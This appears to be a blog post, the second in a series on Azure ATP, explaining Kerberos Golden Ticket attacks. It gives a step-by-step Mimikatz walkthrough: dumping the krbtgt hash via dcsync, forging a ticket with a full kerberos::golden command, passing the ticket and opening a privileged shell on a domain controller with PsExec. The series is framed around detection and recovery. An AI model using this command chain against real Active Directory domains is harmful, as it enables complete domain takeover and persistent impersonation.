Azure ATP: Golden Ticket Attack – How golden ticket attacks work

Pirate,

in the previous post we’ve focused on the authentication technique of Kerberos, we went through the 3 way handshake and had a look at the encryption types. With that in mind we will have a look at golden ticket attacks.

This is part two of the blog series that explains about Golden Tickets attacks and the detection of Azure Advanced Threat Protection:

• Azure ATP: Golden Ticket Attack – Understanding Kerberos
• Azure ATP: Golden Ticket Attack – How golden ticket attacks work
• Azure ATP: Golden Ticket Attack – Detect and recover from a compromised Active Directory

How golden ticket attacks work

As mentioned before the mystery about the kerberos tickets is that two different principals have to agree that it’s legit. On the one hand we have the krbtgt User Account which’s NT hash is used and the other hand we have the encrypted NTLM hash of the principal requesting the ticket.

In essence, each side of the conversation has some assurance that the other side is who they claim to be since “in theory” the only way the TGT could be valid is that both sides can read their part.

Here is the list of what you need to make it work:

• krbtgt user’s NTLM hash (e.g. from a previous NTDS.DIT dump)
• Domain name
• Domain’s SID
• Username that we’d like to impersonate

As you can see, exploiting this architectural flaw is not trivial, because we need the NTLM hash of the krbtgt user and that requires hacking a Domain Controller first or dumping Active Directory domain credentials from an NTDS.dit file. But once that is done we can play with it for some time, because the hash of the krbtgt user will not change for a while.
As you know mimikatz can dump and replay the existing tickets on Windows, so when we got access to a server or workstation and dumped the tickets we can easily replay those on another computer and get access to the same resource.

Just to make it super clear: the problem with Golden Ticket attacks is that the NTLM hash of the krbtgt is valid for such a long time and not that we can create the tickets. Just keep that in mind when you try to solve this scenario in your environment

How to create a Golden Ticket

As I mentioned several times earlier we need the NTLM hash of the krbtgt User. We can either get it by having compromised an Active Directory Domain Controller or by extracting password hashes from the Ntds.dit file. The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain. There are plenty good blog posts out there that explain how an attacker could perform an attack on the ntds.dit file – here is one I suggest. In this article here we’ll suggest that we’ve hacked a DC and just extract the password the easy way.

Next up we went trough the standard mimikatz process to check if the user has debug privileges:

privilege::debug

To avoid obvious mistakes we check if there are any kerberos tickets available and purge everything to have a clear session. This is an optional step.

kerberos::list

kerberos::purge

klist purge

There are different ways you can get the encryption hashes. In my experience the dcsync command was was the most reliable but that completely depends on how the AD is designed.

lsadump::dcsync /user:krbtgt

You can configure which encryption types and the according hashes can be used for authentication.

You can read more about this in my upcoming blogpost or here: Windows Configurations for Kerberos Supported Encryption Type

Now let’s create a golden ticket. We therefore need:

the Mimikatz module for Kerberos: kerberos::golden

the domain in which we’ll create the ticket: /domain:[domain]

the sid of the kerberos ticket account (krbtgt): /sid:[sid]

and a user for whom we want to create the ticket: /user:[existing or non existing Username]

kerberos::golden /domain:itpirate.local /sid:S-1-5-21-3666548664-1944754915-858110063-2109 /aes256:d07414d74add6bb950310db4b77156b5feaf24313dc4262725c5fc676a1a0409 /user:NotExistingUser /id:500 /ptt

Now we got our golden ticket which we then use for a pass the ticket authentification:

kerberos::ptt ticket.kirbi

That was it. Now you you the misc::cmd command to get a priviledged commandshell.

misc::cmd

To see if the attack was successful let’s do a remote cmd on the primary domain controller with psexec and then have a look into the event log. Keep in mind: auditing is not enabled for “account name” by default. So you will have to enable it by PowerShell: “auditpol /set /subcategory:”directory service changes” /success:enable“

PSExec.exe \\vsrv01\ cmd.exe

The most important point of this process is that the Kerberos TGT is encrypted and signed by the krbtgt account. This means that anyone can create a valid Kerberos TGT if they have the krbtgt password hash. Furthermore, despite the Active Directory domain policy for Kerberos ticket lifetime, the KDC trusts the TGT, so the custom ticket can include a custom ticket lifetime (even one that exceeds the domain kerberos policy).

Golden Ticket “Limitation”

Credits to Sean Metcalf for this section and other parts in the above article: Kerberos Golden Tickets are Now More Golden

As incredible as Golden Tickets are, they have been “limited” to spoofing Admin rights to the current domain. The limitation exists when the KRBTGT account password hash is exposed in a child domain that is part of a multi-domain AD forest. The issue is that the parent (root) domain contains the forest-wide admin group, Enterprise Admins. Since Mimikatz adds group membership by the Relative IDentifiers (RIDs) to the ticket, the 519 (Enterprise Admin) RID is identified in the Kerberos ticket as being local to the domain it was created in (based on the KRBTGT account domain). If the domain Security IDentifier (SID) created by taking the domain SID and appending the RID doesn’t exist, then the holder of the Kerberos ticket doesn’t receive that level of access.

In other words, in a mult-domain AD forest, if the domain the Golden Ticket was created in doesn’t contain the Enterprise Admins group, the Golden Ticket won’t provide admin rights to other domains in the forest.

In a single domain Active Directory forest, this limitation doesn’t exist since the Enterprise Admins group is hosted in this domain (and this is where the Golden Tickets would be created).

Check out the next part that will include ways on how you can detect and recover from a compromised Active Directory

Cheerio

Cap*

Sources:

Mimikatz: